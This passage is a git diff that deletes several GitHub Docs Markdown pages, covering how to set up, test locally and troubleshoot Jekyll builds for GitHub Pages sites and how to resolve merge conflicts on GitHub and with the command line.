Jekyll site in the current directory - ``` - -1. Open the Gemfile that Jekyll created. -1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line. -1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to: - - ```ruby - gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins - ``` - - Replace GITHUB-PAGES-VERSION with the latest supported version of the `github-pages` gem. You can find this version here: [Dependency versions](https://pages.github.com/versions/). - - The correct version Jekyll will be installed as a dependency of the `github-pages` gem. -1. Save and close the Gemfile. -1. From the command line, run `bundle install`. -1. Open the `.gitignore` file that Jekyll created and ignore the gems lock file by adding this line: - - ```shell - Gemfile.lock - ``` - -1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory. For more information, see [AUTOTITLE](/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository). - - ```yaml - domain: my-site.github.io # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com - url: https://my-site.github.io # the base hostname and protocol for your site, e.g. http://example.com - baseurl: /REPOSITORY-NAME/ # place folder name if the site is served in a subfolder - ``` - -1. Optionally, test your site locally. For more information, see [Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll). -1. Add and commit your work. - - ```shell - git add . - git commit -m 'Initial GitHub pages site with Jekyll' - ``` - -1. Add your repository on {% data variables.location.product_location %} as a remote, replacing {% ifversion ghes %}HOSTNAME with your enterprise's hostname,{% endif %} USER with the account that owns the repository{% ifversion ghes %},{% endif %} and REPOSITORY with the name of the repository. - - ```shell - {% ifversion fpt or ghec %} - git remote add origin https://github.com/USER/REPOSITORY.git - {% else %} - git remote add origin https://HOSTNAME/USER/REPOSITORY.git - {% endif %} - ``` - -1. Push the repository to {% data variables.product.github %}, replacing BRANCH with the name of the branch you're working on. - - ```shell - git push -u origin BRANCH - ``` - -{% data reusables.pages.configure-publishing-source %} -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -{% data reusables.pages.choose-visibility %} -{% data reusables.pages.visit-site %} -{% data reusables.pages.check-workflow-run %} - -{% data reusables.pages.admin-must-push %} - -## Next steps - -To add a new page or post to your site, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll). - -{% data reusables.pages.add-jekyll-theme %} For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll). diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md deleted file mode 100644 index ce80a2cfc65c..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Setting up a GitHub Pages site with Jekyll -intro: 'You can use Jekyll, a popular static site generator, to further customize your {% data variables.product.prodname_pages %} site.' -redirect_from: - - /articles/using-jekyll-with-pages - - /articles/using-jekyll-as-a-static-site-generator-with-github-pages - - /articles/setting-up-a-github-pages-site-with-jekyll - - /github/working-with-github-pages/setting-up-a-github-pages-site-with-jekyll -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -children: - - /about-github-pages-and-jekyll - - /creating-a-github-pages-site-with-jekyll - - /testing-your-github-pages-site-locally-with-jekyll - - /adding-content-to-your-github-pages-site-using-jekyll - - /setting-a-markdown-processor-for-your-github-pages-site-using-jekyll - - /adding-a-theme-to-your-github-pages-site-using-jekyll - - /about-jekyll-build-errors-for-github-pages-sites - - /troubleshooting-jekyll-build-errors-for-github-pages-sites -shortTitle: Set up site with Jekyll ---- - diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md deleted file mode 100644 index 3fdc3333b721..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Setting a Markdown processor for your GitHub Pages site using Jekyll -intro: 'You can choose a Markdown processor to determine how Markdown is rendered on your {% data variables.product.prodname_pages %} site.' -redirect_from: - - /articles/migrating-your-pages-site-from-maruku - - /articles/updating-your-markdown-processor-to-kramdown - - /articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll - - /github/working-with-github-pages/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Set Markdown processor ---- - -People with write permissions for a repository can set the Markdown processor for a {% data variables.product.prodname_pages %} site. - -{% data variables.product.prodname_pages %} supports two Markdown processors: [kramdown](http://kramdown.gettalong.org/) and {% data variables.product.github %}'s own Markdown processor, which is used to render [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) throughout {% data variables.product.github %}. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github). - -You can use {% data variables.product.prodname_dotcom %} Flavored Markdown with either processor. - -{% data reusables.pages.navigate-site-repo %} -1. In your repository, browse to the __config.yml_ file. -{% data reusables.repositories.edit-file %} -1. Find the line that starts with `markdown:` and change the value to `kramdown` or `GFM`. The full line should read `markdown: kramdown` or `markdown: GFM`. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Further reading - -* [kramdown Documentation](https://kramdown.gettalong.org/documentation.html) -* [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md deleted file mode 100644 index 3b7c5c59e707..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Testing your GitHub Pages site locally with Jekyll -intro: 'You can build your {% data variables.product.prodname_pages %} site locally to preview and test changes to your site.' -redirect_from: - - /articles/setting-up-your-pages-site-locally-with-jekyll - - /articles/setting-up-your-github-pages-site-locally-with-jekyll - - /articles/testing-your-github-pages-site-locally-with-jekyll - - /github/working-with-github-pages/testing-your-github-pages-site-locally-with-jekyll -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Test site locally with Jekyll ---- - -Anyone with read permissions for a repository can test a {% data variables.product.prodname_pages %} site locally. - -## Prerequisites - -Before you can use Jekyll to test a site, you must: -* Install [Jekyll](https://jekyllrb.com/docs/installation/). -* Create a Jekyll site. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll). - -{% data reusables.pages.recommend-bundler %} - -{% data reusables.pages.jekyll-install-troubleshooting %} - -## Building your site locally - -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.pages.navigate-publishing-source %} -1. Run `bundle install`. -1. Run your Jekyll site locally. - - ```shell - $ bundle exec jekyll serve - > Configuration file: /Users/octocat/my-site/_config.yml - > Source: /Users/octocat/my-site - > Destination: /Users/octocat/my-site/_site - > Incremental build: disabled. Enable with --incremental - > Generating... - > done in 0.309 seconds. - > Auto-regeneration: enabled for '/Users/octocat/my-site' - > Configuration file: /Users/octocat/my-site/_config.yml - > Server address: http://127.0.0.1:4000/ - > Server running... press ctrl-c to stop. - ``` - - > [!NOTE] - > * If you've installed Ruby 3.0 or later (which you may have if you installed the default version via Homebrew), you might get an error at this step. That's because these versions of Ruby no longer come with `webrick` installed. - > - > To fix the error, try running `bundle add webrick`, then re-running `bundle exec jekyll serve`. - > - > * If your `_config.yml` file's `baseurl` field contains your GitHub repository's link, you can use the following command when building locally to ignore that value and serve the site on `localhost:4000/`: - > - > ```shell - > bundle exec jekyll serve --baseurl="" - > ``` - -1. To preview your site, in your web browser, navigate to `http://localhost:4000`. - -## Updating the {% data variables.product.prodname_pages %} gem - -Jekyll is an active open source project that is updated frequently. If the `github-pages` gem on your computer is out of date with the `github-pages` gem on the {% data variables.product.prodname_pages %} server, your site may look different when built locally than when published on {% data variables.product.github %}. To avoid this, regularly update the `github-pages` gem on your computer. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Update the `github-pages` gem. - * If you installed Bundler, run `bundle update github-pages`. - * If you don't have Bundler installed, run `gem update github-pages`. - -## Further reading - -* [{% data variables.product.prodname_pages %}](https://jekyllrb.com/docs/github-pages/) in the Jekyll documentation diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md deleted file mode 100644 index c132d428b4c7..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Troubleshooting Jekyll build errors for GitHub Pages sites -intro: 'You can use Jekyll build error messages to troubleshoot problems with your {% data variables.product.prodname_pages %} site.' -redirect_from: - - /articles/page-build-failed-missing-docs-folder - - /articles/page-build-failed-invalid-submodule - - /articles/page-build-failed-missing-submodule - - /articles/page-build-failed-markdown-errors - - /articles/page-build-failed-config-file-error - - /articles/page-build-failed-unknown-tag-error - - /articles/page-build-failed-tag-not-properly-terminated - - /articles/page-build-failed-tag-not-properly-closed - - /articles/page-build-failed-file-does-not-exist-in-includes-directory - - /articles/page-build-failed-file-is-a-symlink - - /articles/page-build-failed-symlink-does-not-exist-within-your-sites-repository - - /articles/page-build-failed-file-is-not-properly-utf-8-encoded - - /articles/page-build-failed-invalid-post-date - - /articles/page-build-failed-invalid-sass-or-scss - - /articles/page-build-failed-invalid-highlighter-language - - /articles/page-build-failed-relative-permalinks-configured - - /articles/page-build-failed-syntax-error-in-for-loop - - /articles/page-build-failed-invalid-yaml-in-data-file - - /articles/page-build-failed-date-is-not-a-valid-datetime - - /articles/troubleshooting-github-pages-builds - - /articles/troubleshooting-jekyll-builds - - /articles/troubleshooting-jekyll-build-errors-for-github-pages-sites - - /github/working-with-github-pages/troubleshooting-jekyll-build-errors-for-github-pages-sites -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Troubleshoot Jekyll errors ---- - -## Troubleshooting build errors - -If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.github %}, you can use error messages to troubleshoot. For more information about error messages and how to view them, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites). - -If you received a generic error message, check for common issues. -* You're using unsupported plugins. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll#plugins).{% ifversion fpt or ghec %} -* Your repository has exceeded our repository size limits. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github){% endif %} -* You changed the `source` setting in your `_config.yml` file. If you publish your site from a branch, {% data variables.product.prodname_pages %} overrides this setting during the build process. -* A filename in your published files contains a colon (`:`) which is not supported. - -If you received a specific error message, review the troubleshooting information for the error message below. - -After you've fixed any errors, trigger another build by pushing the changes to your site's source branch (if you are publishing from a branch) or by triggering your custom {% data variables.product.prodname_actions %} workflow (if you are publishing with {% data variables.product.prodname_actions %}). - -## Config file error - -This error means that your site failed to build because the `_config.yml` file contains syntax errors. - -To troubleshoot, make sure that your `_config.yml` file follows these rules: - -{% data reusables.pages.yaml-rules %} - -{% data reusables.pages.yaml-linter %} - -{% data reusables.pages.symlink-removal %} - -## Date is not a valid datetime - -This error means that one of the pages on your site includes an invalid datetime. - -To troubleshoot, search the file in the error message and the file's layouts for calls to any date-related Liquid filters. Make sure that any variables passed into date-related Liquid filters have values in all cases and never pass `nil` or `""`. For more information, see [Filters](https://shopify.dev/docs/api/liquid/filters) in the Liquid documentation. - -## File does not exist in includes directory - -This error means that your code references a file that doesn't exist in your `_includes` directory. - -{% data reusables.pages.search-for-includes %} If any of the files you've referenced aren't in the `_includes` directory, copy or move the files into the `_includes` directory. - -## File is not properly UTF-8 encoded - -This error means that you used non-Latin characters, like `日本語`, without telling the computer to expect these symbols. - -To troubleshoot, force UTF-8 encoding by adding the following line to your `_config.yml` file: - -```yaml -encoding: UTF-8 -``` - -## Invalid highlighter language - -This error means that you specified any syntax highlighter other than [Rouge](https://github.com/jneen/rouge) or [Pygments](https://pygments.org/) in your configuration file. - -To troubleshoot, update your `_config.yml` file to specify [Rouge](https://github.com/jneen/rouge) or [Pygments](https://pygments.org/). For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll#syntax-highlighting). - -## Invalid post date - -This error means that a post on your site contains an invalid date in the filename or YAML front matter. - -To troubleshoot, make sure all dates are formatted as YYYY-MM-DD HH:MM:SS for UTC and are actual calendar dates. To specify a time zone with an offset from UTC, use the format YYYY-MM-DD HH:MM:SS +/-TTTT, like `2014-04-18 11:30:00 +0800`. - -If you specify a date format in your `_config.yml` file, make sure the format is correct. - -## Invalid Sass or SCSS - -This error means your repository contains a Sass or SCSS file with invalid content. - -To troubleshoot, review the line number included in the error message for invalid Sass or SCSS. To help prevent future errors, install a Sass or SCSS linter for your favorite text editor. - -## Invalid submodule - -This error means that your repository includes a submodule that hasn't been properly initialized. - -{% data reusables.pages.remove-submodule %} - -If do you want to use the submodule, make sure you use `https://` when referencing the submodule (not `http://`) and that the submodule is in a public repository. - -## Invalid YAML in data file - -This error means that one of more files in the __data_ folder contains invalid YAML. - -To troubleshoot, make sure the YAML files in your __data_ folder follow these rules: - -{% data reusables.pages.yaml-rules %} - -{% data reusables.pages.yaml-linter %} - -For more information about Jekyll data files, see [Data Files](https://jekyllrb.com/docs/datafiles/) in the Jekyll documentation. - -## Markdown errors - -This error means that your repository contains Markdown errors. - -To troubleshoot, make sure you are using a supported Markdown processor. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll). - -Then, make sure the file in the error message uses valid Markdown syntax. For more information, see [Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax) on Daring Fireball. - -## Missing docs folder - -This error means that you have chosen the `docs` folder on a branch as your publishing source, but there is no `docs` folder in the root of your repository on that branch. - -To troubleshoot, if your `docs` folder was accidentally moved, try moving the `docs` folder back to the root of your repository on the branch you chose for your publishing source. If the `docs` folder was accidentally deleted, you can either: -* Use Git to revert or undo the deletion. For more information, see [git-revert](https://git-scm.com/docs/git-revert.html) in the Git documentation. -* Create a new `docs` folder in the root of your repository on the branch you chose for your publishing source and add your site's source files to the folder. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). -* Change your publishing source. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). - -## Missing submodule - -This error means that your repository includes a submodule that doesn't exist or hasn't been properly initialized. - -{% data reusables.pages.remove-submodule %} - -If you do want to use a submodule, initialize the submodule. For more information, see [Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) in the _Pro Git_ book. - -## Relative permalinks configured - -This errors means that you have relative permalinks, which are not supported by {% data variables.product.prodname_pages %}, in your `_config.yml` file. - -Permalinks are permanent URLs that reference a particular page on your site. Absolute permalinks begin with the root of the site, while relative permalinks begin with the folder containing the referenced page. {% data variables.product.prodname_pages %} and Jekyll no longer support relative permalinks. For more information about permalinks, see [Permalinks](https://jekyllrb.com/docs/permalinks/) in the Jekyll documentation. - -To troubleshoot, remove the `relative_permalinks` line from your `_config.yml` file and reformat any relative permalinks in your site with absolute permalinks. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/editing-files). - -## Syntax error in 'for' loop - -This error means that your code includes invalid syntax in a Liquid `for` loop declaration. - -To troubleshoot, make sure all `for` loops in the file in the error message have proper syntax. For more information about proper syntax for `for` loops, see [Tags](https://shopify.dev/docs/api/liquid/tags/for) in the Liquid documentation. - -## Tag not properly closed - -This error message means that your code includes a logic tag that is not properly closed. For example, {% raw %}`{% capture example_variable %}` must be closed by `{% endcapture %}`{% endraw %}. - -To troubleshoot, make sure all logic tags in the file in the error message are properly closed. For more information, see [Tags](https://shopify.dev/docs/api/liquid/tags) in the Liquid documentation. - -## Tag not properly terminated - -This error means that your code includes an output tag that is not properly terminated. For example, {% raw %}`{{ page.title }` instead of `{{ page.title }}`{% endraw %}. - -To troubleshoot, make sure all output tags in the file in the error message are terminated with `}}`. For more information, see [Objects](https://shopify.dev/docs/api/liquid/objects) in the Liquid documentation. - -## Unknown tag error - -This error means that your code contains an unrecognized Liquid tag. - -To troubleshoot, make sure all Liquid tags in the file in the error message match Jekyll's default variables and there are no typos in the tag names. For a list of default variables, see [Variables](https://jekyllrb.com/docs/variables/) in the Jekyll documentation. - -Unsupported plugins are a common source of unrecognized tags. If you use an unsupported plugin in your site by generating your site locally and pushing your static files to {% data variables.product.github %}, make sure the plugin is not introducing tags that are not in Jekyll's default variables. For a list of supported plugins, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll#plugins). diff --git a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md b/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md deleted file mode 100644 index 3b6477275dfc..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About merge conflicts -intro: 'Merge conflicts happen when you merge branches that have competing commits, and Git needs your help to decide which changes to incorporate in the final merge.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/about-merge-conflicts - - /articles/about-merge-conflicts - - /github/collaborating-with-issues-and-pull-requests/about-merge-conflicts - - /github/about-merge-conflicts - - /github/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Pull requests ---- -Git can often resolve differences between branches and merge them automatically. Usually, the changes are on different lines, or even in different files, which makes the merge simple for computers to understand. However, sometimes there are competing changes that Git can't resolve without your help. Often, merge conflicts happen when people make different changes to the same line of the same file, or when one person edits a file and another person deletes the same file. - -You must resolve all merge conflicts before you can merge a pull request on {% data variables.product.github %}. If you have a merge conflict between the compare branch and base branch in your pull request, you can view a list of the files with conflicting changes above the **Merge pull request** button. The **Merge pull request** button is deactivated until you've resolved all conflicts between the compare branch and base branch. - -## Resolving merge conflicts - -To resolve a merge conflict, you must manually edit the conflicted file to select the changes that you want to keep in the final merge. There are a couple of different ways to resolve a merge conflict: - -* If your merge conflict is caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository, you can resolve it on {% data variables.product.github %} using the conflict editor. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github). -* For all other types of merge conflicts, you must resolve the merge conflict in a local clone of the repository and push the change to your branch on {% data variables.product.github %}. You can use the command line or a tool like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) to push the change. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). - -If you have a merge conflict on the command line, you cannot push your local changes to {% data variables.product.github %} until you resolve the merge conflict locally on your computer. If you try merging branches on the command line that have a merge conflict, you'll get an error message. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). - -```shell -$ git merge BRANCH-NAME -> Auto-merging styleguide.md -> CONFLICT (content): Merge conflict in styleguide.md -> Automatic merge failed; fix conflicts and then commit the result -``` - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github) diff --git a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md deleted file mode 100644 index 5ca2e98c3649..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Addressing merge conflicts -intro: 'If your changes have merge conflicts with the base branch, you must address the merge conflicts before you can merge your pull request''s changes.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts - - /articles/addressing-merge-conflicts - - /github/collaborating-with-pull-requests/addressing-merge-conflicts -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-merge-conflicts - - /resolving-a-merge-conflict-on-github - - /resolving-a-merge-conflict-using-the-command-line -shortTitle: Address merge conflicts ---- - diff --git a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md deleted file mode 100644 index a857e87e05f7..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Resolving a merge conflict on GitHub -intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github - - /articles/resolving-a-merge-conflict-on-github - - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github - - /github/resolving-a-merge-conflict-on-github - - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Resolve merge conflicts ---- -You can only resolve merge conflicts on {% data variables.product.github %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). - -{% ifversion ghes %} -If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.prodname_ghe_server %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository. -{% endif %} - -> [!WARNING] -> When you resolve a merge conflict on {% data variables.product.github %}, the entire [base branch](/get-started/learning-about-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/get-started/learning-about-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve. -1. Near the bottom of your pull request, click **Resolve conflicts**. - - ![Screenshot of a warning that a pull request has a merge conflict. The "Resolve merge conflicts" button is outlined in dark orange.](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) - - > [!NOTE] - > If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.github %}{% ifversion ghes %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). - -{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} -1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict. -1. Once you've resolved all the conflicts in the file, click **Mark as resolved**. - - ![Screenshot of the editor to resolve a merge conflict in a pull request. The "Mark as resolved" button is outlined in dark orange.](/assets/images/help/pull_requests/mark-as-resolved-button.png) - -1. If you have more than one file with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts. -1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch. - - ![Screenshot of the editor to resolve a merge conflict in a pull request. The "Commit merge" button is outlined in dark orange.](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) - -1. If prompted, review the branch that you are committing to. - - If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request. - - If you choose to create a new branch, enter a name for the branch. - - If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch. - - Click **Create branch and update my pull request** or **I understand, continue updating BRANCH**. The button text corresponds to the action you are performing. -1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) diff --git a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md deleted file mode 100644 index a47c0198eb75..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Resolving a merge conflict using the command line -intro: You can resolve merge conflicts using the command line and a text editor. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line - - /articles/resolving-a-merge-conflict-from-the-command-line - - /articles/resolving-a-merge-conflict-using-the-command-line - - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-using-the-command-line - - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Resolve merge conflicts in Git ---- -Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts). - -> [!TIP] -> You can use the conflict editor on {% data variables.product.github %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github). - -## Competing line change merge conflicts - -To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit. - -For example, if you and another person both edited the file `styleguide.md` on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Navigate into the local Git repository that has the merge conflict. - - ```shell - cd REPOSITORY-NAME - ``` - -1. Generate a list of the files affected by the merge conflict. In this example, the file _styleguide.md_ has a merge conflict. - - ```shell - $ git status - > # On branch branch-b - > # You have unmerged paths. - > # (fix conflicts and run "git commit") - > # - > # Unmerged paths: - > # (use "git add ..." to mark resolution) - > # - > # both modified: styleguide.md - > # - > no changes added to commit (use "git add" and/or "git commit -a") - ``` - -1. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. -1. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`. - - ```text - If you have questions, please - <<<<<<< HEAD - open an issue - ======= - ask your question in IRC. - >>>>>>> branch-a - ``` - -{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge: - - ```shell - If you have questions, please open an issue or ask in our IRC channel if it's more urgent. - ``` - -1. Add or stage your changes. - - ```shell - git add . - ``` - -1. Commit your changes with a comment. - - ```shell - git commit -m "Resolve merge conflict by incorporating both suggestions" - ``` - -You can now merge the branches on the command line or [push your changes to your remote repository](/get-started/using-git/pushing-commits-to-a-remote-repository) on {% data variables.product.github %} and [merge your changes](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) in a pull request. - -## Removed file merge conflicts - -To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit. - -For example, if you edited a file, such as `README.md`, 